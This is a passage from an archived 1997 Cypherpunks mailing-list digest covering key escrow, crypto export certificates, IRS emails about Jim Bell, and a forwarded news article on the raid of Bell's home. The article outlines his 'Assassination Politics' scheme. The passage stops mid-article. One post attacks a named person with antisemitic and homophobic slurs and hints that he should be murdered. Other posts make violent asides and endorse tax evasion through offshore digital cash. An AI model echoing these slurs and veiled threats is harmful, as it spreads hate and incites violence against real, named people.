In-Reply-To: <v03102803aff174e7e285@[10.0.2.15]>
Message-ID: <v03102807aff6edb6e31d@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



>At 11:54 AM 7/15/97 -0700, Steve Schear wrote:
>>For those outside of Metricom's coverage areas, NovaTel Wireless
>>http://www.novatelwireless.com is introducing a CDPD modem specifically
>>designed for the Pilot.  Their Minstrel modem offers TCP/IP data rates up
>>to 19.2 kbps over analog cellular.  Coverage in most US metropolitan areas
>
>On the other hand, CDPD is relatively expensive; Metricom charges flat rate,
>while CDPD is generally some pennies per KB, which may be more or less
>expensive than circuit-switched modem connections over cellular voice
>depending on your usage patterns.  But it's widely available.

Clearly CDPD is too expensive for Web surfing and large amounts of email
traffic.  As an electronic purse for ecash commerce (esp. funds transfer)
it just might be practical

--Steve


PGP mail preferred, see  http://web.mit.edu/network/pgp.html
RSA Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
ECache Monger             | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur@netcom.com
---------------------------------------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Sun, 20 Jul 1997 06:31:40 +0800
To: amp@pobox.com
Subject: Re: Verisign gets export approval
In-Reply-To: <Pine.3.89.9707171711.A10551-0100000@netcom2>
Message-ID: <v03102808aff6ef6f4a9d@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:02 PM -0700 7/18/97, Tom Weinstein wrote:
>amp@pobox.com wrote:
>>
>>> There's nothing preventing another CA from getting permission from
>>> the USG to issue these magic certs.  We would have to distribute a
>>> patch, but I don't see any problem with that.
>>
>> uh, why does one need permission of the usg to issue "magic certs"?
>
>Because issuing these certs is defined as a "defense service".

Precisely why there needs to be some hacks, from offshore CP, to enable
anyone to issue "magic certs".  Any volunteers?

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Carl Ellison <cme@cybercash.com>
Date: Sun, 20 Jul 1997 03:47:04 +0800
To: Joe Shea <joeshea@netcom.com>
Subject: Re: Keepers of the keys
In-Reply-To: <v0310280caff5e51517f8@[207.167.93.63]>
Message-ID: <3.0.3.32.19970719152832.00be2420@cybercash.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 09:15 PM 7/18/97 -0700, Joe Shea wrote:
>Judges -- people like the Ninth Circuit Court of Appeals -- 
>would look rather askance at requests for someone's key when it was no
>more aggravating an issue than a piece of flame mail.  On the other hand, 
>if someone's going to blow up San Francisco this week, it sure would help
>to have a key to any encrypted communications he was generating.

The gov't doesn't give any KE agent, judge or otherwise, permission to see the 
actual decrypted traffic to make sure it matches the excuse given on the 
request for access.  The gov't can always come back and say, "Well, he didn't 
say anything useful so we didn't record anything -- thanks for the key anyway."

If the gov't had to get content itself from a judge -- or, better, from the 
NYTimes, Wash Post, ACLU, etc. -- then maybe we'd be closer to a politically 
workable answer.  That is, it would be valueless as a covert intelligence tool.

 - Carl

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GYBBmdZYcgO1uJMOdk2GlqJ7FNVPEgPFdlxiphMFBlDYjdH1MVoTCg2s1FwhIJbs
LRBSZaRODxM=
=i9dR
-----END PGP SIGNATURE-----


+------------------------------------------------------------------+
|Carl M. Ellison       cme@acm.org    http://www.clark.net/pub/cme |
|    PGP: 61 E2 DE 7F CB 9D 79 84   E9 C8 04 8B A6 32 21 A2        |
+-Officer, officer, arrest that man. He's whistling a dirty song.--+





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 20 Jul 1997 06:59:50 +0800
To: Nick West <cypherpunks@toad.com
Subject: Re: Cypherpunk U
In-Reply-To: <3.0.1.32.19970719161747.006b49e8@mail.multipro.com>
Message-ID: <v03102815aff6f510fe24@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 2:17 PM -0700 7/19/97, Nick West wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>What are some of the better colleges/universities to study
>Computer/Network security at? I know MIT is a good one. Any others
>that aren't quite so hard to get in to that still offer quality
>programs?

Do you mean for grad school, or for undergrad work?

If the former, look for where the papers that interest you are coming from.
That is, whom do you want to work with? UC Berkeley is obviously doing
interesting work, Purude has some well known folks, and Carnegie-Mellon is
in the home city of CERT (maybe not a recommendation...). And Stanford is
always a hotbed. At least a dozen other places are doing fine work.

If for undergrad work, you of course won't have any exposure to speak of in
these areas, save for one or two courses. Maybe.

Ask Sameer Parekh why he picked Berkeley over MIT for his undergraduate
experience (apparently now on hiatus as he runs his company).

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 20 Jul 1997 04:29:38 +0800
To: cypherpunks@toad.com
Subject: Re: Something of Interest
Message-ID: <1.5.4.32.19970719201617.006eb400@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



JM provided IRS Inpsector message Number 5, which is earlier
than the four I posted a while ago:

   Return-Path: <owner-pdg@ifi.uio.no>
   Date: Thu, 17 Jul 1997 12:25:26 -0400
   From: IRS Inspection <irsnwpr@net.insp.irs.gov>
   Message-Id: <199707171625.MAA02707@net.insp.irs.gov>

Starting with these 5 we'll put the full message headers we get at:

   http://jya.com/irs-header.txt

And post here the brief version.

JM also provided Treasury's mail echangers:

>Checking DNS for MX records for net.insp.irs.gov
>indicate (as shown below) three mail exchangers:
>
>QUESTIONS:
>  net.insp.irs.gov, type = MX, class = IN
>
>ANSWERS:
>
>  ->  net.insp.irs.gov
>    MX preference = 20, mail exchanger = tcs-gateway1.treas.gov
>    ttl = 86400 (1 day)
>
>  ->  net.insp.irs.gov
>    MX preference = 30, mail exchanger = gotcha.treas.gov
>    ttl = 86400 (1 day)
>
>  ->  net.insp.irs.gov
>    MX preference = 10, mail exchanger = tcs-gateway2.treas.gov
>    ttl = 86400 (1 day)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Nick West <nick@multipro.com>
Date: Sun, 20 Jul 1997 05:28:33 +0800
To: cypherpunks@toad.com
Subject: Cypherpunk U
Message-ID: <3.0.1.32.19970719161747.006b49e8@mail.multipro.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

What are some of the better colleges/universities to study 
Computer/Network security at? I know MIT is a good one. Any others 
that aren't quite so hard to get in to that still offer quality 
programs?
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBM9Eu9MF7aWKjtgVVAQGQUAP+O1255PqXzWGixEcku+kOwxhSpiibilg5
GMnV/6KZ1uWLefyWhyclx0S8yogHhbDyaWs3jpJ32MNQk/hbpliotD3r7oJHgmux
pCbv71pwBzPU0z1q5qtaBnU3kEuCQtnVVvYobSJWkcrVAnBMxQVIl4Pd8ccHGdmy
kKvoKx5Z3YM=
=B3mA
-----END PGP SIGNATURE-----


Nick West
http://members.tripod.com/~NWest/index.html

 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tomw@netscape.com (Tom Weinstein)
Date: Sun, 20 Jul 1997 07:53:09 +0800
To: Steve Schear <azur@netcom.com>
Subject: Re: Verisign gets export approval
In-Reply-To: <Pine.3.89.9707171711.A10551-0100000@netcom2>
Message-ID: <33D15229.F089636C@netscape.com>
MIME-Version: 1.0
Content-Type: text/plain



Steve Schear wrote:
> 
> At 10:02 PM -0700 7/18/97, Tom Weinstein wrote:
>> amp@pobox.com wrote:
>>>
>>>> There's nothing preventing another CA from getting permission from
>>>> the USG to issue these magic certs.  We would have to distribute a
>>>> patch, but I don't see any problem with that.
>>>
>>> uh, why does one need permission of the usg to issue "magic certs"?
>>
>> Because issuing these certs is defined as a "defense service".
> 
> Precisely why there needs to be some hacks, from offshore CP, to
> enable anyone to issue "magic certs".  Any volunteers?

The main result of such a hack would probably be to get our export
license yanked.  Of course, you might see that as desirable, for either
its direct or indirect effects.

-- 
What is appropriate for the master is not appropriate| Tom Weinstein
for the novice.  You must understand Tao before      | tomw@netscape.com
transcending structure.  -- The Tao of Programming   |





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tomw@netscape.com (Tom Weinstein)
Date: Sun, 20 Jul 1997 08:15:03 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Cypherpunk U
In-Reply-To: <v03102815aff6f510fe24@[207.167.93.63]>
Message-ID: <33D156A0.7C1B9D56@netscape.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:
> 
> At 2:17 PM -0700 7/19/97, Nick West wrote:
> >-----BEGIN PGP SIGNED MESSAGE-----
> >
> >What are some of the better colleges/universities to study
> >Computer/Network security at? I know MIT is a good one. Any others
> >that aren't quite so hard to get in to that still offer quality
> >programs?
> 
> Do you mean for grad school, or for undergrad work?
> 
> If the former, look for where the papers that interest you are coming
> from.  That is, whom do you want to work with? UC Berkeley is
> obviously doing interesting work, Purude has some well known folks,
> and Carnegie-Mellon is in the home city of CERT (maybe not a
> recommendation...). And Stanford is always a hotbed. At least a dozen
> other places are doing fine work.

Princeton and the University of Washington are also doing some
interesting things, if you're interested in Java security.

-- 
What is appropriate for the master is not appropriate| Tom Weinstein
for the novice.  You must understand Tao before      | tomw@netscape.com
transcending structure.  -- The Tao of Programming   |





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Sun, 20 Jul 1997 08:19:05 +0800
To: cypherpunks@cyberpass.net
Subject: Jim Bell on Seattle TV
Message-ID: <19970720001403.19954.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



KING-TV, channel 5, here in Seattle just had a blurb about James Dalton
Bell.  8 years was mentioned, as were obstruction and the use of false
social security numbers.  I didn't hear the whole thing clearly as I was
doing something else at the time.

Sentencing to follow at a later date.  

They showed a picture of a very rotund individual while the story
was rolling.  

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 20 Jul 1997 05:56:05 +0800
To: cypherpunks@toad.com
Subject: Jim Bell Docket 2
Message-ID: <1.5.4.32.19970719214306.006c6408@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



We've put the latest court docket for Jim Bell at:

   http://jya.com/jimbell-dock2.htm

As noted earlier, it shows that the case has been assigned
to a new judge and the last entry is dated July 9 for filing
"felony information" by the US Attorney. No listing of the 
alleged plea bargain.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 20 Jul 1997 00:09:41 +0800
To: cypherpunks@Algebra.COM
Subject: PICS recipes
Message-ID: <199707191603.SAA15143@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Dimitri the KOTM has asked how to rate one's Web site as being very "nasty".


Add the following META tags between the <HEAD> and </HEAD> tags:

<HEAD>
...
<META NAME="rating" CONTENT="adults only"><META HTTP-EQUIV="PICS-Label"
CONTENT='(PICS-1.1 "http://www.rsac.org/ratingsv01.html" l r (n 4 s 4 v 4 l 4)
"http://www.classify.org/safesurf/" l r (SS~~000 9 SS~~001 9 SS~~002 9 SS~~003
9 SS~~004 9 SS~~005 9 SS~~006 9 SS~~007 9 SS~~008 9 SS~~009 9 SS~~00A 9)
"http://www.weburbia.com/safe/ratings.htm" l r (s 2)
"http://vancouver-webpages.com/VWP1.0/" l r (P 4 S 7 SF 2 V 5 Tol 4 Com 3 Env
2 MC 2 Gam 3 Can 0 Edu 1 ))'>
...
</HEAD>

(The stuff between the single quotes ' ' should probably be all on one line!)


Add the following RFC822-style header to your e-mail and Usenet articles:

PICS-Label: (PICS-1.1 "http://www.rsac.org/ratingsv01.html" l r (n 4 s 4 v 4 l
 4) "http://www.classify.org/safesurf/" l r (SS~~000 9 SS~~001 9 SS~~002 9
 SS~~003 9 SS~~004 9 SS~~005 9 SS~~006 9 SS~~007 9 SS~~008 9 SS~~009 9 SS~~00A
 9) "http://www.weburbia.com/safe/ratings.htm" l r (s 2)
 "http://vancouver-webpages.com/VWP1.0/" l r (P 4 S 7 SF 2 V 5 Tol 4 Com 3 Env
 2 MC 2 Gam 3 Can 0 Edu 1 ))

          /\ /\
         ((ovo)) RatingsMonger
         ():::()
           VVV





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 20 Jul 1997 00:48:31 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199707191635.SAA19503@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain




TruthMonger <tm@dev.null> wrote:
>Joe Shea wrote:
>> On the other hand,
>> if someone's going to blow up San Francisco this week, it sure would help
>> to have a key to any encrypted communications he was generating.
>
>  Yeah, sure. I use an escrowed key to communicate about all of my
>criminal activities, and I send the FBI a cc: on all of them.
>  It sure would help if LEA's all had access to the American Reporter's
>files so that they could censor any writing that might encite someone to
>blow up San Franciso.
>  Why don't you send them all of your writing for approval, Joe? If all
>the people in favor of key escrow would allow the government total
>access
>to all of their communications, then the drop in crime would more than
>make up for that commited by those who use encryption.
>
>  If you can't afford to buy a clue, Joe, then try renting.

It seems that Mr. Shea is still a bit wet behind the ears when it comes to 
understanding how the world really works.  Listen up, Joe.  You might learn 
something here:

As TruthMonger correctly points out, no terrorist is going to use an 
escrowed key to encrypt info about his activities.  At least not as his only 
source of encryption.  He may first encrypt the message with one or more 
non-GAK keys and then use the GAK key for the final layer, to make the 
message look legit (i.e., "government approved") to anyone who may be 
analyzing the contents of email traffic, looking for "unapproved crypto."  
Therefore, if someone is plotting to blow up San Francisco, GAK will be of 
no help in preventing it.

Now the LEAs are not stupid.  They realize this fact.  Then why are they so 
adamant about implementing GAK when it will do absolutely nothing to prevent 
the very things (i.e., terrorism, child porn, [crime du jour]) it is 
supposedly meant to counter?  Because terrorism, etc. are not the reasons 
they are pushing for GAK.  The real reason is control: control over the 
citizenry.

You see, Joe, the LEAs have seen the future, and it has scared them 
shitless.  They see a world filled with ubiquitous privacy via strong 
encryption, privately-issued digital cash which transcends national borders 
and the taxman, and a digital world completely beyond their control.  The 
powermonger's worst nightmare is to lose his power.  He will do anything he 
can to maintain it.  If GAK is slowly, but surely implemented over the next 
few years, maybe, just maybe, the powermongers will be able to maintain 
control.  Or at least that's what they hope.

If not, then the self-righteous moralist will lie awake at night in 
frustration knowing that somewhere in the world, someone is getting off to a 
.jpg image of child porn, even though that image was generated digitally 
without actually causing harm to any children.  The DC politicos will be 
outraged that Americans are systematically moving their money offshore (via 
digital cash), out of the clutches of the IRS.  The media thought police 
will not be able to control the flow of information around the world, thus 
exposing the lies that they attempt to propogate as "truth."


Now, Joe, perhaps you are the kind of person that thinks dodging the taxman 
is wrong?  Perhaps you think the government has the right to force its 
citizenry to pay for things like nuclear warheads, abortion clinics, or 
bribes to line the pockets of Third World banana republic dictators?  I hope 
you are more intelligent than that, Joe.

You see, it's all very simple, but we humans tend to complicate things 
needlessly.  The fundamental question is whether or not we have the right to 
tell others what to do.  If I was to stick my hand in your pocket, pull out 
your wallet, and give all your money to a beggar on the street, you'd 
probably have me arrested.  And you would be completely right in doing so, 
because I unjustly took what didn't belong to me.  But this is exactly what 
the government does to us every day.  They force us ("voluntary compliance") 
to cough up a chunk of earnings to pay for their ridiculousness.  If we 
don't pay, they levy our bank accounts or seize our assets, all under the 
guise of "law."

The point is this: nobody has the right to tell me what to do.  No single 
person, nor a group of politicians claiming to represent "my best interests" 
has the right to force me to do anything.  I have the inherent (some call it 
God-given) right to live my life free from oppression.  If you choose to 
submit yourself to the slavery of another man, that's your business.  But 
you do not have the right to submit me to the same.

Anyone who believes that government has certain "rights" that an individual 
does not have is severely flawed in their logic.  In fact, that person is 
simply an oppressor at heart.  If you think the government has the "right" 
to stick its hand in my pocket to fulfill what you perceive to be "good", 
then you knowingly support oppression.  If you think government has the 
"right" to punish others who do not agree with your subjective moral code, 
then you are an oppressor.

So what are you, Joe?  Are you an oppressor or not?  It's a yes or no 
answer.  There is no middle ground.  If you think there is middle ground, it 
only shows that you sympathize with the oppressors, and therefore are one of 
them deep down inside.


Yours Truly,
Freddy Bastiat






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Tue, 22 Jul 1997 03:44:53 +0800
To: Tim May <tcmay@got.net>
Subject: Re: IRS sending warning notes, violating ECPA?
In-Reply-To: <v03102810aff69260ceb1@[207.167.93.63]>
Message-ID: <Pine.LNX.3.91.970719190732.1788B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> It certainly appears that the IRS has sent "warnings" out to all of us
> active in the debate. It appears they used the addresses found in e-mail at
> Bell's residence, from some of the comments here (especially that other
> lists besides the Cypherpunks list were involved).


Does anyone here who didn`t recieve a copy of the mail recall if they 
ever mailed Jim directly, and not through the list?

The way I see it there are two possible ways the motherfuckers got the 
addresses, either they found the lists Jim subscribed to and did "who 
cypherpunks" etc. to the servers, to get the list of participants, or 
they used any adresses off the mail jim has recieved in the past, I got a 
copy of it and I have privately emailed Jim several times so I can`t 
really say which is more likely.

If it is the second I am hereby giving Jim a public dresssing down for 
not encrypting the filesystem ;-)....

> "Mr. Bell, if you confess and plead guilty, you'll receive a one-year
> prison term. If you don't confess, when we find you guilty you'll receive
> the maximum term. If you confess but Mr. May _also_ confesses, you'll still
> receive the maximum term. If neither of you confesses, you'll still be
> found guilty. So, what'll it be?"

The sending of this email to people Jim has communicated with, if it was 
a real mail (I haven`t checked before but other people have and have said 
the headers indicate it passed through several .gov hosts), constitutes 
cowardly harrasment. Lock and Load.


        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Tue, 22 Jul 1997 05:37:37 +0800
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: Crypto implants
In-Reply-To: <199707190103.UAA22861@mailhub.amaranth.com>
Message-ID: <Pine.LNX.3.91.970719191616.1788C-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain





> Hmmmm ... Waco ... Ruby Ridge .... It would seem that murdering US
> Citizens is an excepted investigation tatic of the federal government
> these days. Unfortunatly I don't see things changing any time in the
> future.

Citizen sanitization and removal of undesirable citizen-units is often 
necessary to meet the legitimate concerns of law enforcement, surely any 
reasonable person would realise that.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mismatched NFS IDs <nobody@toad.com>
Date: Sun, 20 Jul 1997 08:18:13 +0800
To: cypherpunks@toad.com
Subject: Re: Will Monolithic Apps Dominate?
In-Reply-To: <v03110705aff564f7cc98@[139.167.130.247]>
Message-ID: <97Jul19.201054edt.32257@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 18 Jul 1997, Robert Hettinga wrote:

> At 1:33 pm -0400 on 7/18/97, Tim May wrote:
> 
> <an excellent description of the industrial strength software bloat which
> now afflicts the browser market>
> 
> "The Geodesic Network, OpendDoc, and CyberDog"
> http://www.shipwright.com/rants/rant_03.html is the first rant I wrote on
> <ducking> geodesic </d> software. It ended up in a much(!) shorter form as
> a full-page opinion piece in InfoWorld two years ago this October.
> Actually, it's about what happened to me at MacWorld almost exactly two
> years ago.
...
> The software those computers use will not be hard-wired, it will be
> flexible and upgradable. It will be 'out of control'. It will be geodesic,
> like the network itself.
> 
> Cheers,
> Bob Hettinga

I think that depends on what people start adopting.  If you want
"geodesic" software, use Linux.  Pieces are there from every continent,
and all any business needs to do to have a driver and applications written
for any hardware is to release the spec.  It is flexible and upgradable
and 'out of control', and is developed on the internet.  Interestingly
enough, the only stego-crypto "device" I know of is the linux loop device.

There are some crypto plugins for MS, but nothing I know of will bury your
info encrypted with DES or IDEA in the lsbs of a .wav file.

The other interesting thing is that the bloatware is only possible BECAUSE
of Moore's law.  Windows really needs 16Mb, a big hard drive, and a fast
pentium, and it is nice that the price point (around $2k) of the new
machines are about right for each release of a new MS product.  But even
if cpu-memory power (and price per bit sent over the internet) keeps
doubling, the complexity of code is growing exponentially too.  Or was
growing - I think it has past the point where they can add code to the
blob and have it work.

If you are right, then there should be a shift from MS to Linux or
FreeBSD.  Especially if the Wabi32 or Wine projects succeed :).

--- reply to tzeruch - at - ceddec - dot - com ---





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 20 Jul 1997 09:53:39 +0800
To: cypherpunks@Algebra.COM
Subject: Re: PICS recipes
In-Reply-To: <199707191603.SAA15143@basement.replay.com>
Message-ID: <eR040D3w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



nobody@REPLAY.COM (Anonymous) writes:

>
> Dimitri the KOTM has asked how to rate one's Web site as being very "nasty".

Thanks!!

> "http://vancouver-webpages.com/VWP1.0/" l r (P 4 S 7 SF 2 V 5 Tol 4 Com 3 Env
> 2 MC 2 Gam 3 Can 0 Edu 1 ))'>

I find this one the funniest.  It means, the page makes disparaging remarks
about the environment and has no Canadian content.


>           /\ /\
>          ((ovo)) RatingsMonger
>          ():::()
>            VVV


I suppose for good measure one could add

<meta name="keywords" content="shit, fuck, piss, cunt, socksucker...">
among the headers.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 20 Jul 1997 10:18:33 +0800
To: cypherpunks@toad.com
Subject: Re: Bean IRS for Another $250,000
In-Reply-To: <1.5.4.32.19970719182921.006c9cb0@pop.pipeline.com>
Message-ID: <y9040D4w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



John Young <jya@pipeline.com> writes:

> Four of the IRS messages on Jim Bell came here (see below), two via
> cypherpunks@toad.com and two directly. (Oddly, none were forwarded
> from cyberpass.net as usual for messages to cypherpunks@toad.com.)

FWIW, here are the headers of the one IRS e-mail spam I got directly
(in addition to the ones via mailing lists)

]Received: by bwalk.dm.com (1.65/waf)
]	via UUCP; Fri, 18 Jul 97 19:06:35 EDT
]	for dlv
]Received: from tcs-gateway1.treas.gov by uu.psi.com (5.65b/4.0.061193-PSI/PSINet) via SMTP;
]        id AA23310 for dlv@bwalk.dm.com; Fri, 18 Jul 97 18:48:06 -0400
]Received: by tcs_gateway1.treas.gov id AA19664
]  (InterLock SMTP Gateway 3.0 for dlv@bwalk.dm.com);
]  Fri, 18 Jul 1997 18:47:53 -0400
]Received: by tcs_gateway1.treas.gov (Internal Mail Agent-2);
]  Fri, 18 Jul 1997 18:47:53 -0400
]Received: by tcs_gateway1.treas.gov (Internal Mail Agent-1);
]  Fri, 18 Jul 1997 18:47:53 -0400
]Date: Thu, 17 Jul 1997 12:30:03 -0400
]From: IRS Inspection <irsnwpr@net.insp.irs.gov>
]Message-Id: <199707171630.MAA02739@net.insp.irs.gov>
]To: Interested-Parties@net.insp.irs.gov
]Subject: Something of Interest

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 20 Jul 1997 10:18:26 +0800
To: cypherpunks@toad.com
Subject: Re: Cypherpunk U
In-Reply-To: <v03102815aff6f510fe24@[207.167.93.63]>
Message-ID: <40a50D6w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May <tcmay@got.net> writes:
> Ask Sameer Parekh why he picked Berkeley over MIT for his undergraduate
> experience (apparently now on hiatus as he runs his company).

Because the Arab terrorist Sameer "Gas the Kikes" Parekh likes to suck
big dicks.  There are even more fags at Berkeley/San Francisco than
at MIT/Cambridge, and Sameer likes being with his fellow cocksuckers.

Where is Cunanan when the cryptographic field needs him?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alan@ctrl-alt-del.com>
Date: Sun, 20 Jul 1997 13:21:02 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Something of Interest (fwd)
In-Reply-To: <3.0.2.32.19970719110331.00a646c0@ctrl-alt-del.com>
Message-ID: <3.0.2.32.19970719221228.03eb4630@ctrl-alt-del.com>
MIME-Version: 1.0
Content-Type: text/plain



At 01:10 PM 7/19/97 -0700, Tim May wrote:
>At 11:03 AM -0700 7/19/97, Alan wrote:
>>At 01:51 AM 7/19/97 -0400, Declan McCullagh wrote:
>>>Hey, I'm here. Didn't get one of these IRS msgs at any of my accounts.
>>>
>>>Is it just me, or does anyone else remember a similar message being pumped
>>>out about the same time Bell was raided (April 1).
>>
>>I will check the archives...
>>
>
>No need to check. Recall that the odd name, "IRS Investigations," was our
>first word on the Bell raid.
>
>I didn't comment earlier when Declan asked, as I thought he was making a
>rhetorical point.

I found the actual article.  It was forwarded to the list by someone.
(Maybe Igor?)  The headers are interesting.  I have the full header set if
anyone is interested...

This post did not seem to get posted to the list, but only as a forward...

-------------------------------------------------------------
From: cpunks@algebra.com
Subject: Something of interest... (fwd)
To: cypherpunks@manifold.algebra.com
Date: Wed, 2 Apr 1997 21:36:29 -0600 (CST)
Reply-To: ichudov@algebra.com
X-Mailer: ELM [version 2.4 PL24 ME7]
Sender: owner-cypherpunks@algebra.com
X-Mailing-List: cypherpunks@algebra.com
X-Loop: cypherpunks@algebra.com

----- Forwarded message from IRS Inspection -----

>From cpunks@manifold.algebra.com  Wed Apr  2 20:08:29 1997
Date: Tue, 1 Apr 1997 15:34:37 -0500
From: IRS Inspection <irsnwpr@net.insp.irs.gov>
Message-Id: <199704012034.PAA00146@net.insp.irs.gov>
To: Interested_Parties@net.insp.irs.gov
Subject: Something of interest...
Sender: owner-cypherpunks@toad.com
Precedence: bulk

The Oregonian, Wednesday, April 2, 1997

20 armed federal agents raid home in Vancouver

- The occupant is investigated for an Internet essay he allegedly wrote on
killing government 
officials




By John Painter Jr. of The Oregonian staff

VANCOUVER, Wash. - About 20 armed agents from at least three federal
agencies in four states raided a Vancouver home Tuesday, apparently
looking for evidence of a plot to kill government officials.

Sources said James D. Bell, who reportedly lives with his elderly
parents at the home at 7214 Corregidor Road, was the subject of an
investigation involving an essay he allegedly wrote and circulated
on the Internet.  The essay promotes a way to win money by correctly
predicting the time of death of selected government agents.

The essay - "Assassination Politics" - has been the subject of both
serious discussion and pointed derision in Internet forums.  One critic
described it as "nothing more than a plan to commit murder for political
purposes."

Agents, guns drawn, boiled from a dozen-vehicle caravan before it
stopped rolling just after 9 a.m. and entered the McLoughlin Heights
neighborhood home to search it.  The FBI, Internal Revenue Service and
Bureau of Alcohol, Tobacco, and Firearms raiders were accompanied by
members of the Portland Police Bureau's bomb squad.

Bell, described in a federal document as armed and dangerous, was seen
chatting with agents outside the house after agents entered the home.
The raid reportedly was planned by the IRS Inspection office in Walnut
Creek, Calif., which does criminal investigations for the agency.

Most of the agents at the scene drove cars bearing Oregon plates.
Others had plates from Washington, California and Nevada.

The Internet essay speculates on a complicated procedure to kill
government agents who violate the "Non-Aggression Principle," which
was not explained.

The essay suggests creation of an organization that would manage a
list of people who "had seriously violated the NAP, but who would not
see justice in our courts due to the fact that their actions were
done at the behest of the government."

The essay mentions the federal agents involved in the Waco and Ruby
Ridge actions as examples.

Each name would have a dollar figure attached to it.  That amount-
received as contributions-would be awarded "for correctly `predicting'
the person's death, presumably naming the exact date," the essay says.
"Predictions" would go into a computer file, it says, then be encrypted.

The death-date prediction then would be delivered to the organization
by an untraceable method, such as putting it on a floppy computer disk
in code and mailing it.

In effect, the source said, when the pool got big enough someone
would kill the targeted person and collect the pool money by telling
beforehand when the target would die.

Agents at the scene refused to comment on the probable cause for the
search warrant, as did the IRS office in California and the
U.S. attorney's office in Seattle.

However, a source familiar with the investigation suggested that IRS
agents believed they are among the potential targets.

In March 1989, the house was raided as a suspected methamphetamine
lab, but drug agents found only a chemical used in making the drug.

James Bell was charged with manufacturing illicit drugs and possessing
phenyl acetic acid with intent to manufacture methamphetamine.  The
